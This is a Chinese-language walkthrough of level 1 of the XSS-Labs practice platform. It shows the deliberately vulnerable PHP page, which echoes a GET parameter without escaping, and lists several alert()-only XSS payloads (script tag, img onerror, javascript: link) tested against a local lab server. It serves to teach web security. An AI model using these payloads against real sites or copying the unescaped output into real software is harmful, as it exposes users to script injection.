当前位置: 代码迷 >> 综合 >> XSS之xss-labs-level1
  详细解决方案

XSS之xss-labs-level1

热度:11   发布时间:2023-12-26 20:49:25.0

文章目录

  • 0x01 XSS-Labs
  • 0x02 实验工具
  • 0x03 实验环境
  • 0x04 实验步骤
  • 0x05 实验分析
  • 0x06 参考链接

0x01 XSS-Labs

??XSS(跨站脚本攻击)是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该网页或请求该网页中的内容之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

??XSS按照利用方式主要分为:反射型XSS、存储型XSS、DOM型XSS。反射型XSS是攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS即存储型XSS,非常危险,容易造成蠕虫,大量盗窃cookie。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞

??XSS-Labs是使用PHP编写的一个XSS漏洞练习平台,一共包含20关,其主要为反射型XSS,可以练习基础XSS的过滤和绕过技巧,且每一关的后台源码都重写了alert()方法,只要成功弹框即可调用重写的alert()方法进入下一关或完成本关测试。

0x02 实验工具

  • FireFox
  • HackBar

0x03 实验环境

  • 服务器:Windows Server 2008
  • 中间件:Apache
  • 客户端:Windows 10

实验界面如下图所示:

0x04 实验步骤

  1. 使用如下payload进行测试,查看参数的回显位置以及是否被转义或过滤。

    http://10.10.10.148:8203/level1.php?name=<script>alert(1)</script>
    

    由上述操作可以推断,系统未将对参数中的<>\等符号和scriptalert等关键字进行过滤,且检测的参数被回显到h2标签中,所以此处存在XSS漏洞。

  2. 代码审计。程序源码如下所示:

    <!DOCTYPE html><!--STATUS OK--><html>
    <head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <script>
    window.alert = function()  
    {
               
    confirm("完成的不错!");window.location.href="level2.php?keyword=test"; 
    }
    </script>
    <title>欢迎来到level1</title>
    </head>
    <body>
    <h1 align=center>欢迎来到level1</h1>
    <?php 
    ini_set("display_errors", 0);
    $str = $_GET["name"];
    echo "<h2 align=center>欢迎用户".$str."</h2>";
    ?>
    <center><img src=level1.png></center>
    <?php 
    echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
    ?>
    </body>
    </html>
    

    由17-18行代码可知:程序将通过GET方法得到的参数未经任何转义或过滤直接使用echo回显到页面中,浏览器进行渲染时将参数信息作为javascript脚本执行。

  3. 所以此关可以成功调用alert()方法的脚本都可以做为payload。

0x05 实验分析

  • 程序未做任何转义或过滤就将参数回显到HTML页面中,所以此关的payload非常多:

    # 直接脚本的alert()方法
    <script>alert(1)</script># 通过事件调用alert()方法
    <img src=x onerror=alert()># 伪协议
    <a href="javascript:alert()">a</a>
    ...
    

0x06 参考链接

  • 跨站脚本漏洞基础讲解